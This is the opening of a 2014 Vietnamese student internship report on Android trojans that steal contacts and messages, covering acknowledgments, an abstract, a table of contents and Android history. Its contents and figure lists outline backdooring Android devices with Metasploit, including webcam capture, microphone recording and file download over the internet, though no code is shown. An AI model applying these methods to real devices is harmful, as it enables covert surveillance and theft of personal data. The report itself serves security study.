You are on page 1of 80

ĐẠI HỌC QUỐC GIA THÀNH PHỐ TRUNG TÂM ĐÀO TẠO

HỒ CHÍ MINH QUẢN TRỊ MẠNG &


TRƯỜNG ĐẠI HỌC BÁCH KHOA AN NINH MẠNG QUỐC TẾ
KHOA KHOA HỌC & KỸ THUẬT MÁY TÍNH ATHENA

BÁO CÁO ĐỀ TÀI THỰC TẬP CNTT

Nghiên cứu các Trojan, Malware cho phép đánh


cắp dữ liệu như danh sách contact, tin nhắn trên
điên thoại sử dụng Android và gửi ra ngoài

CBHD: Thầy VÕ ĐỖ THẮNG

SVTH: Nguyễn Đức Thái


MSSV: 51002962

TPHCM, ngày 18 tháng 08 năm 2014


ĐẠI HỌC QUỐC GIA THÀNH PHỐ TRUNG TÂM ĐÀO TẠO
HỒ CHÍ MINH QUẢN TRỊ MẠNG &
TRƯỜNG ĐẠI HỌC BÁCH KHOA AN NINH MẠNG QUỐC TẾ
KHOA KHOA HỌC & KỸ THUẬT MÁY TÍNH ATHENA

BÁO CÁO ĐỀ TÀI THỰC TẬP CNTT

Nghiên cứu các Trojan, Malware cho phép đánh


cắp dữ liệu như danh sách contact, tin nhắn trên
điên thoại sử dụng Android và gửi ra ngoài

CBHD: Thầy VÕ ĐỖ THẮNG

SVTH: Nguyễn Đức Thái


MSSV: 51002962

TPHCM, ngày 18 tháng 08 năm 2014


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

LỜI CẢM ƠN
KHOA KHOA HỌC VÀ KỸ THUẬT MÁY TÍNH

Tôi xin chân thành cảm ơn trường Đại học Bách Khoa thành phố Hồ Chí
Minh khoa Khoa Học và Kỹ Thuật Máy Tính đã tạo điều kiện cho tôi tham gia và
hoàn thành tốt đợt thực tập này. Để cho tôi được làm việc và học hỏi và làm việc
trong môi trường chuyên nghiệp với những kinh nghiệm hữu ích. Những kinh
nghiệm này sẽ giúp tôi hoàn thiện hơn trong công việc sau này.
Tôi cũng xin cảm ơn quý thầy trong khoa đã tận tình giảng dạy và trang bị
cho tôi những kiến thức thiết yếu để hoàn thành đợt thực tập này.
Một lần nữa, tôi xin chân thành cảm ơn.
Hồ Chí Minh, Ngày 18 tháng 8 Năm 2014
Sinh viên thực tập
Nguyễn Đức Thái

SVTH: Nguyễn Đức Thái Trang i


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

LỜI CẢM ƠN
TRUNG TÂM ATHENA

Tôi xin chân thành cảm ơn Ban giám đốc Trung Tâm Đào Tạo Quản Trị
Mạng & An Ninh Mạng Quốc Tế Athena, toàn thể các anh chị trong công ty đã tận
tình giúp đỡ tôi trong đợt thực tập vừa qua, tạo điều kiện để tôi có cơ hội tham gia
và hoàn thành thực tập tại trung tâm.
Đặc biệt, tôi xin chân thành cảm ơn thầy Võ Đỗ Thắng đã tận tình giúp đỡ,
cung cấp tài liệu tham khảo, hướng dẫn tôi để có thể hoàn thành đề tài tốt nhất.
Mặc dù đã cố gắng hoàn thành báo cáo thực tập tốt nhất với tất cả nỗ lực của
bản thân nhưng do năng lực hiểu biết và kinh nghiệm bản thân chắc chắn không
tránh khỏi thiếu sót nhất định, rất mong được sự thông cảm, chia sẻ tận tình để tôi
hoàn thành bản báo cáo thực tập tốt hơn.
Một lần nữa, tôi xin chân thành cảm ơn.

Hồ Chí Minh, Ngày 18 tháng 8 Năm 2014


Sinh viên thực tập
Nguyễn Đức Thái

SVTH: Nguyễn Đức Thái Trang ii


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

TRÍCH YẾU

Trong số những thành tựu quan trọng nhất mà nhận loại đạt được trong thời
gian gần đây đó là những phát triển nhảy vọt của kỹ thuật truyền thông. Đặc biệt
đó là điện thoại di động, khi mà con người có thể giao tiếp với nhau bất chấp
khoảng cách. Chúng ta đã quá quen với những chiếc điện thoại di động luôn ở bên
mình mọi lúc mọi nơi, đơn giản vì tính tiện lợi và hữu ích của nó. Chúng ta có thể
nghe, gọi, nhắn tin, lướt web, xem video, … thậm chí còn thực hiện các giao dịch
ngân hàng.
Điện thoại di động có chứa hầu hết thông tin cá nhân của người sử dụng như
địa chỉ nhà, tài khoản ngân hàng, những hồ sơ quan trọng,... Câu hỏi đặt ra, liệu
rằng những thông tin đó có thể nào bị đánh cắp không? Đề tài này sẽ cho chúng ta
một cái nhìn khái quát về việc đánh cắp, hack các thông tin, nghe lén,… trên điện
thoại di động, đặc biệt là điện thoại sử dụng hệ điều hành Android.
Tôi cam kết, kết quả đạt được do tôi tự thực hiện dưới sự hướng dẫn của
thầy Võ Đỗ Thắng (Trung tâm Athena), không sao chép từ người khác. Các bước
của quá trình thực hiện được tôi ghi lại bằng video và có thuyết minh từng bước.
Chi tiết của các clip ghi lại quá trình thực hiện được liệt kê bên dưới.
Danh sách các Clip:
 1. Giới thiệu đề tài.
http://youtu.be/7D7qH5P5UD8
 2. Tìm hiểu mã độc trên Android và cài đặt iCalendar.
http://youtu.be/mldXNwKSt_4
 3. Cài đặt iMatch.
http://youtu.be/D7HWiixk2sU
 4. Tìm hiểu và cài đặt Kali Linux.
http://youtu.be/LN-m6868hV8
 5. Sử dụng Kali Linux tấn công Android trong mạng LAN.
http://youtu.be/7km1lwNr1Cg
 6. Cài đặt Metasploit trên máy chủ ảo VPS
http://youtu.be/lFGBUVgDhk8
 7. Sử dụng Merasploit trên VPS tấn công Android trên mạng internet.
http://youtu.be/6s6lYJngkXs

SVTH: Nguyễn Đức Thái Trang iii


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

NHẬN XÉT CỦA KHOA

...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
TPHCM, ngày ... tháng ... năm 2014
Trưởng Khoa

SVTH: Nguyễn Đức Thái Trang iv


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

NHẬN XÉT CỦA CÔNG TY THỰC TẬP

...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
TPHCM, ngày ... tháng ... năm 2014
Giám đốc

SVTH: Nguyễn Đức Thái Trang v


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

NHẬN XÉT CỦA GIÁO VIÊN HƯỚNG DẪN

...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
...................................................................................................................................
TPHCM, ngày ... tháng ... năm 2014
Giáo viên hướng dẫn

SVTH: Nguyễn Đức Thái Trang vi


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

MỤC LỤC
LỜI CẢM ƠN KHOA KHOA HỌC VÀ KỸ THUẬT MÁY TÍNH ..................... i
LỜI CẢM ƠN TRUNG TÂM ATHENA .............................................................. ii
TRÍCH YẾU ......................................................................................................... iii
NHẬN XÉT CỦA KHOA .................................................................................... iv
NHẬN XÉT CỦA CÔNG TY THỰC TẬP ...........................................................v
NHẬN XÉT CỦA GIÁO VIÊN HƯỚNG DẪN.................................................. vi
MỤC LỤC ........................................................................................................... vii
DANH MỤC HÌNH ................................................................................................x
DANH MỤC BẢNG .......................................................................................... xiii
CHƯƠNG 0: GIỚI THIỆU CHUNG VỀ CÔNG TY THỰC TẬP .......................1
CHƯƠNG 1: TỔNG QUAN VỀ ANDROID. .......................................................3
1.1. Khái niệm. ....................................................................................................3
1.2. Đặc điểm. ......................................................................................................3
1.3. Lịch sử phát triển ..........................................................................................4
1.4. Sự ra mắt các phiên bản Android .................................................................5
CHƯƠNG 2: CÀI ĐẶT VÀ NGHIÊN CỨU HỆ ĐIỀU HÀNH ANDROID
TRÊN MÔI TRƯỜNG GIẢ LẬP...........................................................................7
2.1. Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lâp. ...............7
2.1.1. Cài đặt Java SE trên máy tính. ...............................................................7
2.1.2. Cài đặt Eclipse và Android SDK ...........................................................9
2.1.3. Tạo máy AVD (Android Virtual Device). ...........................................11
2.2. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x. ..................15
2.2.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt. ....................15
2.2.2. Sự khác nhau về giao diện. ..................................................................15
2.2.3. Sự khác nhau về tính năng. ..................................................................17
2.2.4. Sự khác nhau về giao thức mạng. ........................................................17
CHƯƠNG 3: MÃ ĐỘC TRÊN ANDROID. ........................................................18
3.1. Định nghĩa. .................................................................................................18
3.2. Mã độc trong môi trường Android. ............................................................18
3.2.1. Android là một môi trường lý tưởng cho mã độc phát triển. ...............18
3.2.2. Phân loại mã độc Android....................................................................18

SVTH: Nguyễn Đức Thái Trang vii


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

3.3. Thực trạng ..................................................................................................19


3.4. Malware – tiêu biểu của mã độc trên Android. ..........................................20
3.5. Cơ chế hoạt động của Malware. .................................................................20
3.6. Mục đích của Malware DroidDream ..........................................................21
3.7. Cơ chế bảo mật trong Android. ..................................................................21
3.7.1. Tính bảo mật trong Android ................................................................21
3.7.2. Cơ chế Permission: ..............................................................................22
3.7.3 Google Play: ..........................................................................................22
CHƯƠNG 4: CÀI ĐẶT MỘT SỐ CHƯƠNG TRÌNH CÓ MÃ ĐỘC TRÊN
ANDROID. ...........................................................................................................23
4.1. iCalendar ....................................................................................................23
4.1.1. Các công cụ cần thiết: ..........................................................................23
4.1.2. Các bước thực hiện: .............................................................................23
4.2. iMatch .........................................................................................................28
4.2.1. Các công cụ cần thiết: ..........................................................................28
4.2.2. Các bước thực hiện: .............................................................................28
CHƯƠNG 5: NGHIÊM CỨU KALI LINUX, CƠ CHẾ TẠO MÃ ĐỘC TRÊN
KALINIX ĐỂ XÂM NHẬP VÀO ANDROID. ...................................................31
5.1. Tổng quan. ..................................................................................................31
5.2. Cải tiến của Kali Linux so với Backtrack. .................................................31
5.2.1. Kali phát triển trên nền tảng hệ điều hành Debian. .............................31
5.2.2. Tính tương thích kiến trúc....................................................................31
5.2.3. Hỗ trợ mạng không dây tốt hơn. ..........................................................31
5.2.4. Khả năng tùy biến cao..........................................................................32
5.2.5. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai. ................32
5.3. Cài đặt Kali Linux. .....................................................................................32
5.3.1. Chuẩn bị. ..............................................................................................32
5.3.2. Cài đặt. .................................................................................................32
5.4. Tạo mã độc trên Kali Linux để xâm nhập Android....................................45
5.5. Kết luận. .....................................................................................................54
CHƯƠNG 6: XÂM NHẬP VÀO ANDROID THÔNG QUA INTERNET TỪ
VPS. ......................................................................................................................55
6.1. Cài đặt Metasploit trên VPS. ......................................................................55
6.2. Tấn công Android từ VPS. .........................................................................60

SVTH: Nguyễn Đức Thái Trang viii


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 7: KẾT QUẢ ĐẠT ĐƯỢC. ................................................................64


CHƯƠNG 8: TÀI LIỆU THAM KHẢO ..............................................................65

SVTH: Nguyễn Đức Thái Trang ix


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

DANH MỤC HÌNH


Hình 0.1: cơ cấu tổ chức Athena. ...........................................................................2
Hình 2.1: Download Java SE. .................................................................................7
Hình 2.2: Chọn phiên bản Java. ..............................................................................7
Hình 2.3: Cài đặt Java. ............................................................................................8
Hình 2.4: Cài đặt Java tiếp. .....................................................................................8
Hình 2.5: Kiểm tra Java đã được cài đặt.................................................................9
Hình 2.6: Download Android SDK. .....................................................................10
Hình 2.7: Chọn phiên bản Android SDK..............................................................10
Hình 2.8: Giải nén file Android SDK tải về. ........................................................10
Hình 2.9: Khởi động Android SDK Manager.......................................................11
Hình 2.10: Chọn và cài đặt các gói API cần thiết.................................................11
Hình 2.11: Khởi động Android Virtual Device Manager. ....................................12
Hình 2.12: Tạo mới máy ảo Android. ...................................................................12
Hình 2.13: Thông số cho máy ao Android. ..........................................................13
Hình 2.14: Khởi động máy ảo Android. ...............................................................14
Hình 2.15: Máy ảo Android khởi động hoàn tất. ..................................................14
Hình 4.1: Folder Super Apk Tool. ........................................................................23
Hình 4.2: Super Apk Tool. ...................................................................................24
Hình 4.3: Mở file iCalendar.apk ...........................................................................24
Hình 4.4: View Smali Code. .................................................................................25
Hình 4.5: Thư mục iCalendar. ..............................................................................25
Hình 4.6: File iCalendar.smali. .............................................................................26
Hình 4.7: File SmsReceiver.smali. .......................................................................26
Hình 4.8: Build Projects........................................................................................27
Hình 4.9: Cài đặt thành công iCalendar................................................................27
Hình 4.10: Android02 nhận được tin nhắn từ iCalendar. .....................................28
Hình 4.11: Thư mục untils. ...................................................................................29
Hình 4.13: Nội dung tin nhắn 2. ...........................................................................29
Hình 4.14: Nội dung tin nhắn 3. ...........................................................................29
Hình 4.15: Nội dung tin nhắn 4. ...........................................................................29
Hình 4.16: Kết quả chạy chương trình iMatch. ....................................................30
Hình 5.1: Chon phương thức cái đặt. ....................................................................33
Hình 5.2: Tìm đường dẫn đến file iso Kali Linux. ...............................................33
Hình 5.3: Chọn dung lượng đĩa. ...........................................................................34
Hình 5.4: Xác nhận cài Đặt...................................................................................34
Hình 5.5: Cài đặt Kali Linux. ...............................................................................35
Hình 5.6: Chọn Ngôn Ngữ. ...................................................................................35
Hình 5.7: Chọn khu vực. .......................................................................................36
Hình 5.8: Khu vực Asia. .......................................................................................36
Hình 5.9: Chọn quốc gia Viet Nam. .....................................................................37
Hình 5.10: Chọn bảng mã. ....................................................................................37
Hình 5.11: Chọn kiểu bàn phím. ...........................................................................38
Hình 5.12: Đặt Hostname. ....................................................................................38

SVTH: Nguyễn Đức Thái Trang x


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.13: Đặt Domain name. ..............................................................................39


Hình 5.14: Đặt root password. ..............................................................................39
Hình 5.15: Tùy chọn ổ đĩa. ...................................................................................40
Hình 5.16: Chọn ổ đĩa cài đặt. ..............................................................................40
Hình 5.17: Phương thức cài đặt ổ đĩa. ..................................................................41
Hình 5.18: Xác nhận thông số cài đặt. ..................................................................41
Hình 5.19: Xác nhận định dạng ổ đĩa. ..................................................................42
Hình 5.20: Cài đặt bắt đầu. ...................................................................................42
Hình 5.21: Tìm kiếm cập nhật qua internet. .........................................................43
Hình 5.22: Xác nhận cài đặt GRUD. ....................................................................43
Hình 5.23: Xác nhận cài đặt thành công. ..............................................................44
Hình 5.24: Đăng nhập Kali Linux. .......................................................................44
Hình 5.25: Tùy chọn Kali Linux...........................................................................45
Hình 5.26: Kiểu kết nối mạng...............................................................................45
Hình 5.27: Tùy chọn mạng. ..................................................................................46
Hình 5.28: chọn mạng vật lý để sử dụng. .............................................................47
Hình 5.29: lệnh ifconfig. .......................................................................................47
Hình 5.30: Tạo backdoor. .....................................................................................47
Hình 5.31: file chứa backdoor. .............................................................................48
Hình 5.32: lệnh msfconsole. .................................................................................48
Hình 5.33: Mở cổng lắng nghe. ............................................................................49
Hình 5.34: Cài đặt backdoor trên Android. ..........................................................49
Hình 5.35: Kết nối thành công đến máy Android. ................................................50
Hình 5.36: Lệnh help. ...........................................................................................50
Hình 5.37: Lệnh sysinfo........................................................................................50
Hình 5.38: Lệnh ipconfig. .....................................................................................51
Hình 5.39: nhóm lệnh về camara. .........................................................................51
Hình 5.40: File ảnh chụp bảng lệnh webcam_snap. .............................................51
Hình 5.41: lệnh record_mic. .................................................................................52
Hình 5.42: File ghi âm bằng lệnh record_mic. .....................................................52
Hình 5.43: Lệnh ls tại thư mục sdcard. .................................................................52
Hình 5.44: Lệnh download. ..................................................................................53
Hình 5.45: File được download. ...........................................................................53
Hình 5.4: Lệnh ls –l. .............................................................................................54
Hình 6.1: Kết nối VPS. .........................................................................................55
Hình 6.2: Đăng nhập VPS. ...................................................................................56
Hình 6.3: Download metasploit. ...........................................................................56
Hình 6.4: Chọn phiên bản metasploit. ..................................................................56
Hình 6.5: điền thông tin. .......................................................................................57
Hình 6.6: Cài đặt metasploit. ................................................................................57
Hình 6.7: Xác nhận điều khoản. ...........................................................................58
Hình 6.8: Địa chỉ cài đặt. ......................................................................................58
Hình 6.9: Tắt Anti-Virus và Firewall. ..................................................................59
Hình 6.10: SSL Port. .............................................................................................59
Hình 6.11: Server name. .......................................................................................60

SVTH: Nguyễn Đức Thái Trang xi


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 6.12: Cài đặt thành công. .............................................................................60


Hình 6.13: Tao backdoor. .....................................................................................61
Hình 6.14: Metasploit console. .............................................................................61
Hình 6.15: thiết lập thông tin cho cổng lắng nghe. ...............................................62
Hình 6.16: mở cổng lắng nghe..............................................................................62
Hình 6.17: Kết nối thành công. .............................................................................62

SVTH: Nguyễn Đức Thái Trang xii


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

DANH MỤC BẢNG


Bảng 2.1: Khác nhau về yêu cầu phần cứng. ........................................................15
Bảng 2.2: Khác nhau về giao diện. .......................................................................16
Bảng 2.3: Khác nhau về tính năng. .......................................................................17
Bảng 2.4: Khác nhau về giao thức mạng. .............................................................17
Bảng 3.1: Phân loại mã độc Android. ...................................................................19

SVTH: Nguyễn Đức Thái Trang xiii


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 0: GIỚI THIỆU CHUNG VỀ CÔNG TY THỰC


TẬP
Cơ sở 1_Tại TP Hồ Chí Minh:
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế
ATHENA. Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh,
Việt Nam.
Điện thoại: ( 84-8 ) 3824 4041, Hotline: 0943 23 00 99

Cơ sở 2_Tại TP Hồ Chí Minh:


Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế
ATHENA 92 Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí
Minh, Việt Nam.
Điện thoại: (84-8) 2210 3801, Hotline: 0943 20 00 88

Website: www.athena.edu.vn or www.athena.com.vn

 Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA
được thành lập từ năm 2004, là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam
đầy năng động, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm
huyết góp phần vào công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là
ngành kinh tế mũi nhọn, góp phần phát triển nước nhà.
 Lĩnh vực hoạt động:
Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên sâu
quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế
của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI, CEH... Song
song đó, trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành
riêng theo đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An, ngân
hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính…
Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA
đã là chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng

SVTH: Nguyễn Đức Thái Trang 1


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

cho nhiều bộ ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công
An, Sở Thông Tin Truyền Thông các tỉnh, bưu điện các tỉnh,…
Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình
hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa
Thành Phố Hồ Chí Minh, Học Viện An Ninh Nhân Dân( Thủ Đức), Học Viện
Bưu Chính Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật
Quân Sự…

 Đội ngũ giảng viên:


Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường
đại học hàng đầu trong nước.... Tất cả giảng viên ATHENA đều phải có các
chứng chỉ quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng
sư phạm Quốc tế (Microsoft Certified Trainer). Đây là các chứng chỉ chuyên môn
bắt buộc để đủ điều kiện tham gia giảng dạy tại trung tâm ATHENA.
Bên cạnh đó, các giảng viên ATHENA thường đi tu nghiệp và cập nhật kiến
thức công nghệ mới từ các nước tiên tiến như Mỹ , Pháp, Hà Lan, Singapore,...
và truyền đạt các công nghệ mới này trong các chương trình đào tạo tại trung tâm
ATHENA.
 Cơ cấu tổ chức Trung tâm Athena.

Hình 0.1: cơ cấu tổ chức Athena.

SVTH: Nguyễn Đức Thái Trang 2


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 1: TỔNG QUAN VỀ ANDROID.


1.1. Khái niệm.
Android là một hệ điều hành mã nguồn mở xây dựng trên nền tảng Linux,
chủ yếu sử dụng trên các thiết bị thông minh như điện thoại di động, máy tính bảng
(và hiện nay là cả các đầu phát HD, smart TV …). Trước đây, Android được phát
triển bởi công ty liên hợp Android sau đó được Google mua lại vào năm 2005.
Theo ComScore, đến đầu tháng 3 năm 2014, Android chiếm 51.7% thị phần hệ
điều hành trên smartphone tại Mỹ (iOS chiếm 41.6%), là hệ điều hành số một trên
điện thoại thông minh.

Android ra mắt vào năm 2007 cùng với sự tuyên bố thành lập Liên minh thiết
bị cầm tay mở gồm 78 công ty phần cứng, phần mềm và viễn thông với mục tiêu
đẩy mạnh các tiêu chuẩn mở cho các thiết bị di động. Hệ điều hành Android bao
gồm 12 triệu dòng mã: 3 triệu dòng XML, 2.8 triều dòng mã C, 1.75 triệu dòng mã
C++ và 2.1 triệu dòng mã Java. Thể hiện tính mở của Android, Google công bố
hầu hết các mã nguôn của Android theo bản cấp phép Apache.

1.2. Đặc điểm.


- Tính mở: Ngay từ ban đầu, Android ra mắt là một hệ điều hành mã nguôn
mở, được xây dựng trên nhân Linux mở sử dụng một máy ảo mà đã được tối ưu
hóa bộ nhớ và phần cứng với môi trường di động; nó có thể được mở rộng để kết
hợp tự do giữa các công nghệ nổi trội. Tính mở hoàn toàn của Android cho phép
người phát triển tạo các ứng dụng hấp dẫn với đầy đủ các điểm mạnh của các thiết
bị cầm tay hiện có. Hơn nữa, một ứng dụng trong Android có thể gọi tới bất kỳ
một chức năng lõi nào như tạo cuộc gọi, gửi tinh nhắn hay sử dụng máy ảnh… cho
phép người phát triển tạo phần mềm phong phú hơn, dễ dàng liên kết các tính năng
cho người dùng. Những nền tảng ưu điểm này sẽ tiếp tục phát triển bởi cộng đồng
phát triển để tạo ra các ứng di động hoàn hảo.

- Tính ngang bằng của ứng dụng: Với Android, không có sự khác nhau
giữa các ứng dụng điện thoại cơ bản với ứng dụng của bên thứ ba. Chúng được
xây dựng để truy cập như nhau tới một loạt các ứng dụng và dịch vụ của điện thoại.
Với các thiết bị được xây dựng trên nền tảng Android, người dùng có thể đáp ứng
đầy đủ các nhu cầu mà họ thích. Chúng ta có thể đổi màn hình nền, kiểu gọi điện
thoại, hay bất kể ứng dụng nào. Chúng ta thậm chí có thể hướng dẫn điện thoại chỉ
xem những ảnh mình thích.

- Phá vỡ rào cản phát triển ứng dụng: Android phá vỡ rào cản để tạo ứng
dụng mới và cải tiến. Một người phát triển có thể kết hợp thông tin từ trang web
với dữ liệu trên điện thoại cá nhân – chẳng hạn như danh bạ, lịch hay vị trí trên
bản đồ – để cung cấp chính xác hơn cho người khác. Với Android, người phát triển
có thể xây dựng một ứng dụng mà cho phép người dùng xem vị trí của những

SVTH: Nguyễn Đức Thái Trang 3


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

người bạn và thông báo khi họ đang ở vị trí lân cận. Tất cả được lập trình dễ dàng
thông qua sự hỗ trợ của MapView và dịch vụ định vị toàn cầu GPS.

- Xây dựng ứng dụng dễ dàng và nhanh chóng: Android cung cấp bộ thư
viện giao diện lập trình ứng dụng đồ sộ và các công cụ để viết các ứng dụng phức
tạp. Ví dụ, Android có thể cho phép người phát triển biết được vị trí của thiết bị và
cho phép các thiết bị giao tiếp với nhau để có thể tạo nên mạng xã hội chia sẻ
ngang hàng rộng khắp. Thêm nữa, Android còn bao gồm một bộ công cụ đầy đủ
giúp cho việc phát triển trở nên dễ dàng.

1.3. Lịch sử phát triển


Tháng 10 năm 2003, Tổng công ty Android (Android, Inc.) được thành lập
tại Palo Alto, California bởi Andy Rubin (đồng sáng lập công ty Danger), Rich
Miner (đồng sáng lập Tổng công ty Viễn thông Wildfire), Nick Sears (từng là Phó
giám đốc T-Mobile) và Chris White (trưởng thiết kế và giao diện tại WebTV) để
phát triển, theo lời của Rubin, "các thiết bị di động thông minh hơn có thể biết
được vị trí và sở thích của người dùng". Mặc dù các nhân viên đều là những người
có tiếng tăm nhưng công ty sau khi thành lập lại hoạt động một cách âm thầm mà
chỉ tiết lộ rằng họ đang làm phần mềm cho điện thoại di động. Không lâu sau đó
(cùng trong năm 2003) công ty lâm vào tình trạng cạn kiệt tài chính.

Ngày 17 tháng 8 năm 2005, Google mua lại Tổng công ty Android biến nó
thành một bộ phận trực thuộc của mình đồng thời giữ cũng giữ lại các nhân viên
chủ chốt gồm Rubin, Miner và While. Hành động này dẫn đến nhiều tin đồn cho
rằng Google dự tính tham gia vào thị trường điện thoại di động. Tại Google, nhóm
do Rubin đứng đầu đã phát triển một nền tảng thiết bị di động phát triển trên nền
nhân Linux được Google quảng bá đến các nhà sản xuất điện thoại di động như là
một hệ thống uyển chuyển và có khả năng nâng cấp. Google đã liên hệ với hàng
loạt hãng phần cứng cũng như đối tác phần mềm, bắn tin cho các nhà mạng rằng
họ sẵn sàng hợp tác với các cấp độ khác nhau.

Ngày 5 tháng 11 năm 2007, Liên minh thiết bị cầm tay mở (Open Handset
Alliance), một hiệp hội bao gồm nhiều công ty với cả những gã khổng lồ như Texas
Instruments, Tập đoàn Broadcom, Google, HTC, Intel, LG, Tập đoàn Marvell
Technology, Motorola, Nvidia, Qualcomm, Samsung Electronics, Sprint Nextel và
T-Mobile được thành lập với mục đích phát triển các tiêu chuẩn mở cho thiết bị di
động. Cùng ngày, Android cũng được ra mắt với vai trò là sản phẩm đầu tiên của
Liên minh, một nền tảng thiết bị di động được xây dựng trên nhân Linux phiên bản
2.6. Chiếc điện thoại chạy Android đầu tiên được bán ra là HTC G1, phát hành
ngày 22 tháng 10 năm 2008. Biểu trưng của hệ điều hành Android mới là một con
rôbốt màu xanh lá cây do hãng thiết kế Irina Blok tại California vẽ.

Từ năm 2008, Android đã trải qua nhiều lần cập nhật để dần dần cải tiến hệ
điều hành, bổ sung các tính năng mới và sửa các lỗi trong những lần phát hành
trước. Mỗi bản nâng cấp được đặt tên lần lượt theo thứ tự bảng chữ cái, theo tên

SVTH: Nguyễn Đức Thái Trang 4


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

của một món ăn tráng miệng; ví dụ như phiên bản 1.5 Cupcake (bánh bông lan nhỏ
có kem) tiếp nối bằng phiên bản 1.6 Donut (bánh vòng). Phiên bản mới nhất hiện
nay là Android 4.4 và Android L (dành cho nhà phát triển) được phát hành vào
năm 2014.

1.4. Sự ra mắt các phiên bản Android


- Android alpha: là phiên bản nội bộ trong Google và OHA được nghiên cứu
và phát triển trước khi Android beta ra mắt, với các phiên bản khác nhau là "Astro
Boy", "Bender" và "R2-D2".

- Android beta: được phát hành vào ngày 5 tháng 7 năm 2007. Tiếp theo đó
bộ phát triển phần mềm (SDK) ra mắt ngày 12 tháng 11 năm 2007.

- Android 1.0 (API mức độ 1): Kỉ nguyên Android chính thức khởi động vào
ngày 22 tháng 10 năm 2008, khi mà chiếc điện thoại T-Mobile G1 chính thức được
bán ra ở Mỹ. Đến ngày 23 tháng 9 năm 2008, Google chính thức bán ra phiên bản
thương mại của phần mềm.

- Android 1.1 (API mức độ 2): phát hành ngày 9 tháng 2 năm 2009. Đây là
bản cập nhật đầu tiên giúp giải quyết lỗi, thay đổi Android API và thêm vào một
số tính năng.

- Android 1.5 (API mức độ 3, phát hành ngày 27 tháng 4 năm 2009) và
Android 1.6 (API mức độ 4, phát hành ngày 15 tháng 9 năm 2009): Bản cập nhật
bao gồm một số tính năng mới và sử đổi giao diện người dùng UI.

- Android 2.x (2.0-2.1 API mức độ 7, 2.2 API mức độ 8, 2.3-2.3.2 API mức
độ 9, 2.3.3-2.3.7 API mức độ 10): phát hành từ tháng 10 năm 2009 đến tháng 2
năm 2011 với nhiều tính năng mới được thêm vào, thay đổi giao diện người dùng
cũng như nâng cao khả năng bảo mật.

- Android 3.x (3.1 API mức độ 12, 3.2 API mức độ 13) phát hành từ tháng 5
đến tháng 7 năm 2011 với tên gọi Honeycomb là phiên bản dành riêng cho máy
tính bảng. Mặc dù không để lại nhiều dấu ấn đắc biệt trên thị trường nhưng phiên
bản này là nền tảng cho Android 4.0.

- Android 4.x (từ API mức độ 15 đến API mức độ 19) phát hành từ tháng 12
năm 2011 và tiếp tục đến nay. Được xem là sự thay đổi lớn trong lịch sử phát triển
